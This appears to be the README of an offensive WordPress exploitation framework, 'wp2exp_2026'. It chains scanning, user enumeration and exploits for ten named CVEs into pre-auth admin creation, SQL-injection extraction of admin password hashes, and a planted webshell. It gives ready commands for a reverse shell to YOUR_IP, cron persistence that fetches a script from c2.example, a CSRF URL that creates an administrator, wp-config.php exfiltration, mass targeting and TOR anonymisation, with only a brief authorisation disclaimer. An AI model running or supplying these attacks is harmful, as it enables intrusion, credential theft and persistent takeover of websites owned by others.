WordPress 一体化漏洞利用框架 — 检测器 · 扫描器 · 枚举器 · 利用 · 权限提升
wp2exp_2026 是 wp2shell 框架更名后的继任者,久经实战检验。它将原始 wp2shell 检测器/利用链、三套公开的 CVE-2026-63030 PoC 工具包(Ch4120N、shinthink、SentinelX),以及通过 TOR darkweb-intel 管道从 NVD / GitHub Advisories / CISA KEV 抓取的 2026 年 8 月 WordPress CVE 浪潮,合并为一个脚本 —— 可引导目标从被动指纹识别一路走到已验证的 WebShell。
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ 仅限授权测试。
scan模式为非破坏性的。利用模式明确要求使用--mode。你有责任确保对每个目标都拥有书面授权。
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
无需 API 密钥,无需数据库,无需编译。
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com
# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell
# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
scan — 检测器 + 扫描器 + 枚举器(安全)非破坏性。对任何目标都应首先使用此模式。
按顺序执行的操作:
示例:
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
exploit — 扫描 + 利用包含 scan 的全部功能,外加:
示例:
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — 环境自检在任何扫描之前验证运行环境:Python ≥3.8、PySocks 可用性(SOCKS5/TOR)、代理可达性(若设置了 --proxy)、CVE 矩阵完整性、版本解析器正确性。
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — 直达 WebShell 的完整链路包含 exploit 的全部功能,外加权限提升:如果管理员创建成功,脚本将:
wp-login.php(cookie jar)_wpnonce + 当前主题 → 通过 admin-ajax.php?action=edit-theme-plugin-file 写入 WebShellupdate.php?action=upload-plugin 上传并激活id —— 打印实时命令输出WebShell 类型(--shell):
示例:
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
成功运行后的手动 shell 用法:
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — 路由注册时未包含认证中间件;令牌是相对路径的原始 base64 编码(可伪造)。已修复版本使用签名的 UploadFileToken。reauth_for_authorize 使用子字符串匹配测试,将 /mcp/v1/oauth/authorize 与包含查询字符串的 REQUEST_URI 进行比对。向任意 REST 请求追加 &x=/mcp/v1/oauth/authorize 即可恢复 cookie 用户的完整身份。经典 CSRF:管理员访问构造的 URL 即可创建攻击者账户。
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true → CF7 提交无需 nonce;提交一个包含 ../../../../wp-config.php 的文件字段,集成动作(webhook/email)即可外泄该文件。insert_record() 存储攻击者可控的文件 location,随后 在未进行 /白名单校验的情况下调用 。该脚本基于 TOR darkweb-intel 管道收集的情报构建(NVD 最新 CVE 抓取、GitHub Advisories、CISA KEV),并支持匿名扫描:
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
已验证行为: 代理管道已通过 check.torproject.org/api/ip 验证 → 经出口节点 192.42.116.45 返回 {"IsTor":true}。
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
报告结构:
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
已于 2026-08-04 在模拟的易受攻击 WordPress 实验室中完成验证 —— QA 测试套件:32/32 项检查全部通过(所有模式、JSON 纯净性、多目标、裸主机名规范化、mapster 草稿/私密文章泄漏、SQLi 提取数据库版本 + 管理员哈希、完整 shell 链):
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit 模式(--sqli-info)--verify 环境自检darkweb_intel.py 输出自动刷新 CVE 矩阵欢迎提交 PR。请默认保持载荷的非破坏性。
MIT。仅限授权测试。 切勿对你不拥有或未获得书面测试授权的资产运行 --mode exploit / --mode shell。作者对滥用行为不承担任何责任。
| 参数 | 默认值 | 描述 |
|---|
targets | — | 一个或多个基础 URL(https://site.com 或裸域名 site.com) |
-f, --file | — | 包含目标的文件,每行一个(允许 # 注释) |
--mode | scan | scan = 仅检测 · exploit = 扫描 + 利用 · shell = 扫描 + 利用 + WebShell |
--shell | mini | WebShell 类型:mini(单行命令执行)或 full(文件管理 / 下载 / 反弹 shell / cron 持久化) |
--mapster-dump | 0 | 通过 CVE-2026-14839 导出 N 个文章 ID(0 = 禁用) |
--sqli-info | off | 通过 SQLi(CVE-2026-60137)提取 db_version / siteurl / 管理员密码哈希 / 表前缀 |
--verify | off | 环境自检(python、PySocks、代理可达性、CVE 矩阵、版本解析器)并退出 |
--proxy | — | HTTP 代理或 SOCKS5:socks5h://127.0.0.1:9050(TOR) |
--timeout | 15 | 每个请求的超时时间(秒) |
--threads | 5 | 并行目标数(仅在多目标 / -f 时使用) |
--json | — | 将机器可读的 JSON 报告打印到 stdout |
-o, --output | — | 将完整 JSON 报告写入文件 |
| # | 阶段 | 检查项 |
|---|
| 1 | 指纹识别 | 通过 /feed/ generator、/readme.html、meta generator、REST API generator 获取 WordPress 版本 —— 若版本位于 wp2shell 漏洞影响范围(6.9.0–6.9.4、7.0.0–7.0.1)则标记 |
| 2 | WAF 检测 | 通过响应头 + 页面特征标记 Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 |
| 3 | XMLRPC | system.listMethods 探测 → 标记 multicall 暴力破解和 pingback SSRF 攻击面 |
| 4 | 用户枚举 | REST /wp-json/wp/v2/users + ?rest_route= 回退 + 作者归档(?author=N) |
| 5 | 插件枚举 | 读取全部 8 个受跟踪插件的 readme.txt Stable tag —— 对照 CVE 矩阵标记易受攻击的版本 |
| 6 | wp2shell 探测 | 安全批处理 desync 探测(CVE-2026-63030)—— 发送畸形 primer + 对不存在的分类发送无害 DELETE;查找 handler 劫持标记(parse_path_failed、block_cannot_read、rest_batch_not_allowed) |
| 7 | CVE 检查 | 针对全部 10 个 CVE 的实时行为探测 + 版本检查(见下表) |
| 利用项 | 条件 | 执行内容 |
|---|
| 预认证创建管理员 | wp2shell VULNERABLE | 尝试 1:批处理路由混淆载荷以 roles:["administrator"] 落地 POST /wp/v2/users。尝试 2(回退):SQLi oEmbed 缓存投毒链(shinthink)—— union 注入 customize_changeset 以劫持 oEmbed 缓存并创建管理员。成功时打印 username / password |
| SQLi 信息提取 | --sqli-info | 基于报错/union 的提取(CVE-2026-60137):db_version、siteurl、首个管理员 user_pass 哈希、表前缀 |
| Mapster 内容导出 | --mapster-dump N | 通过 /wp-json/mapster-wp-maps/feature?id=N 枚举文章 ID 1..N,收集草稿 / 待发布 / 私密 / 已删除文章标题 + 完整内容(CVE-2026-14839) |
| 类型 | 功能 |
|---|
mini | ?k=KEY&c=COMMAND → 纯文本命令输出 |
full | a=cmd 命令执行 · a=upload 文件写入(b64) · a=download 文件读取 · a=rev 反弹 shell(h=HOST&p=PORT) · a=persist crontab 持久化(u=URL) · 默认 phpinfo() |
| CVE | 目标 | CVSS | 类型 | 检测 | 利用 |
|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | REST 批处理路由混淆 → RCE | ✅ desync 标记探测 | ✅ 创建管理员 + shell |
| CVE-2026-60137 | WP Core(相同范围) | 5.9 | author__not_in SQLi | ✅ 版本 + 标记 | ✅ 通过 63030 链 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | 未授权任意文件删除 | ✅ 实时 DELETE 探测 | ✅ 可伪造的 b64 file_token |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | 未授权 SQLi(列表搜索) | ✅ 报错泄漏探测 | ⚠️ 手动(盲注) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | 权限提升 _wps_plan_user_role | ✅ 版本 | ✅ 链式利用文档 |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → 创建管理员 | ✅ 命名空间探测 | ✅ PoC URL 生成器 |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | 已认证任意文件删除 | ✅ 版本 | ✅ 链式利用文档 |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | 未授权目录遍历(CF7 nonce 绕过) | ✅ 版本 | ✅ 链式利用文档 |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | 未授权私密/草稿文章导出 | ✅ 实时探测 | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | 未授权存储型 XSS | ✅ 版本 | ✅ 链式利用文档 |
delete_file()realpath()unlink($file)save_meta_boxes() 从 $_POST 持久化 _wps_plan_user_role;仅应用 sanitize_key() + is_role() —— 两者都接受 administrator。